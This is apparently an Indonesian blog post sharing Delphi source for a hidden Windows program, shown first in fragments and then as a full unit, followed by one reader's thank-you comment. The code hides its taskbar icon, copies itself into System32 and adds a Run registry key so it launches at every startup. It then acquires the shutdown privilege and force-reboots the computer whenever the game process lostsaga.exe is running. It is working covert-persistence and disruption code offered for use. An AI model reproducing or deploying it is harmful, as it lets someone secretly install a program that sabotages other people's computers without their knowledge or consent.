procedure showTaskBarIcon(Const Show : boolean); begin ShowWindow(Application.Handle, SW_HIDE); if Show = false then SetWindowLong(Application.Handle, GWL_EXSTYLE,GetWindowLong(Application.Handle,GWL_EXSTYLE) or WS_EX_TOOLWINDOW) else SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_OVERLAPPED); ShowWindow(Application.Handle, SW_SHOW); end;
function processExists(exeFileName: string): Boolean; var ContinueLoop: BOOL; FSnapshotHandle: THandle; FProcessEntry32: TProcessEntry32; begin FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); FProcessEntry32.dwSize := SizeOf(FProcessEntry32); ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32); Result := False; while Integer(ContinueLoop) <> 0 do begin if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then begin Result := True; end; ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32); end; CloseHandle(FSnapshotHandle); end;
procedure RunOnStartup(WindowTitle,CommandLn:String;RunOnlyOnce: Boolean); var RegIniFile : TRegIniFile; begin RegIniFile := TRegIniFile.Create(''); with RegIniFile do begin RootKey := HKEY_LOCAL_MACHINE; if RunOnlyOnce then RegIniFile.WriteString('Software\Microsoft\Windows\' + 'CurrentVersion\RunOnce'#0, WindowTitle, CommandLn) else RegIniFile.WriteString('Software\Microsoft\Windows\' + 'CurrentVersion\Run'#0, WindowTitle, CommandLn); Free; end; end;
function setShutDownPrivilege : Boolean; var TTokenHnd : THandle; TTokenPvg : TTokenPrivileges; cbtpPrevious : DWORD; rTTokenPvg : TTokenPrivileges; pcbtpPreviousRequired : DWORD; tpResult : Boolean; const SE_SHUTDOWN_NAME = 'SeShutdownPrivilege'; begin Result := false; if Win32Platform = VER_PLATFORM_WIN32_NT then begin if OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHnd) then begin tpResult := lookupPrivilegeValue(nil, SE_SHUTDOWN_NAME,TTokenPvg.Privileges[0].Luid); TTokenPvg.PrivilegeCount := 1; TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; cbtpPrevious := SizeOf(rTTokenPvg); pcbtpPreviousRequired := 0; if tpResult then Result := windows.AdjustTokenPrivileges(TTokenHnd,False,TTokenPvg,cbtpPrevious,rTTokenPvg, pcbtpPreviousRequired); end; end; end; function Power(pwFlags: Cardinal) : Boolean; begin if Win32Platform = VER_PLATFORM_WIN32_NT then setShutDownPrivilege; Result := ExitWindowsEx(pwFlags, 0); end;
procedure TForm1.Timer1Timer(Sender: TObject); var prog:string; begin prog:='lostsaga.exe'; //nama programnya if processExists(prog) then begin Timer2.Enabled:=true; end; end;
procedure TForm1.Timer2Timer(Sender: TObject); begin Power(EWX_REBOOT or EWX_FORCE); end;
procedure TForm1.FormShow(Sender: TObject); begin if FileExists('AppInterface.exe') then //cek , apakah pogram kita ada begin //bila ada , kita akan pindahkan sesuai path MoveFile('AppInterface.exe','C:\WINDOWS\system32\AppInterface.exe'); end; //function taskbar di panggil , dan di set false agar tak terlihat showTaskBarIcon(False); //kita panggil procedure ini agar program dijalankan tiap kali start up RunOnStartup('Application Interface','C:\Windows\System32\AppInterface.exe',False ); end;
unit Uutama; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs , TlHelp32, ExtCtrls, StdCtrls,ShellAPI,Registry; type TForm1 = class(TForm) Timer1: TTimer; Timer2: TTimer; procedure Timer1Timer(Sender: TObject); procedure FormShow(Sender: TObject); procedure Timer2Timer(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses Math; {$R *.dfm} procedure showTaskBarIcon(Const Show : boolean); begin ShowWindow(Application.Handle, SW_HIDE); if Show = false then SetWindowLong(Application.Handle, GWL_EXSTYLE,GetWindowLong(Application.Handle,GWL_EXSTYLE) or WS_EX_TOOLWINDOW) else SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_OVERLAPPED); ShowWindow(Application.Handle, SW_SHOW); end; function processExists(exeFileName: string): Boolean; var ContinueLoop: BOOL; FSnapshotHandle: THandle; FProcessEntry32: TProcessEntry32; begin FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); FProcessEntry32.dwSize := SizeOf(FProcessEntry32); ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32); Result := False; while Integer(ContinueLoop) <> 0 do begin if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then begin Result := True; end; ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32); end; CloseHandle(FSnapshotHandle); end; procedure TForm1.Timer1Timer(Sender: TObject); var prog:string; begin prog:='lostsaga.exe'; //nama programnya if processExists(prog) then begin Timer2.Enabled:=true; end; end; procedure RunOnStartup(WindowTitle,CommandLn:String;RunOnlyOnce: Boolean); var RegIniFile : TRegIniFile; begin RegIniFile := TRegIniFile.Create(''); with RegIniFile do begin RootKey := HKEY_LOCAL_MACHINE; if RunOnlyOnce then RegIniFile.WriteString('Software\Microsoft\Windows\' + 'CurrentVersion\RunOnce'#0, WindowTitle, CommandLn) else RegIniFile.WriteString('Software\Microsoft\Windows\' + 'CurrentVersion\Run'#0, WindowTitle, CommandLn); Free; end; end; procedure TForm1.FormShow(Sender: TObject); begin if FileExists('AppInterface.exe') then //cek , apakah pogram kita ada begin //bila ada , kita akan pindahkan sesuai path MoveFile('AppInterface.exe','C:\WINDOWS\system32\AppInterface.exe'); end; //function taskbar di panggil , dan di set false agar tak terlihat showTaskBarIcon(False); //kita panggil procedure ini agar program dijalankan tiap kali start up RunOnStartup('Application Interface','C:\Windows\System32\AppInterface.exe',False ); end; function setShutDownPrivilege : Boolean; var TTokenHnd : THandle; TTokenPvg : TTokenPrivileges; cbtpPrevious : DWORD; rTTokenPvg : TTokenPrivileges; pcbtpPreviousRequired : DWORD; tpResult : Boolean; const SE_SHUTDOWN_NAME = 'SeShutdownPrivilege'; begin Result := false; if Win32Platform = VER_PLATFORM_WIN32_NT then begin if OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHnd) then begin tpResult := lookupPrivilegeValue(nil, SE_SHUTDOWN_NAME,TTokenPvg.Privileges[0].Luid); TTokenPvg.PrivilegeCount := 1; TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; cbtpPrevious := SizeOf(rTTokenPvg); pcbtpPreviousRequired := 0; if tpResult then Result := windows.AdjustTokenPrivileges(TTokenHnd,False,TTokenPvg,cbtpPrevious,rTTokenPvg, pcbtpPreviousRequired); end; end; end; function Power(pwFlags: Cardinal) : Boolean; begin if Win32Platform = VER_PLATFORM_WIN32_NT then setShutDownPrivilege; Result := ExitWindowsEx(pwFlags, 0); end; procedure TForm1.Timer2Timer(Sender: TObject); begin Power(EWX_REBOOT or EWX_FORCE); end; end.
1 komentar:
Mantaaap neh jadi semakin tambah ilmu makasih :)
Posting Komentar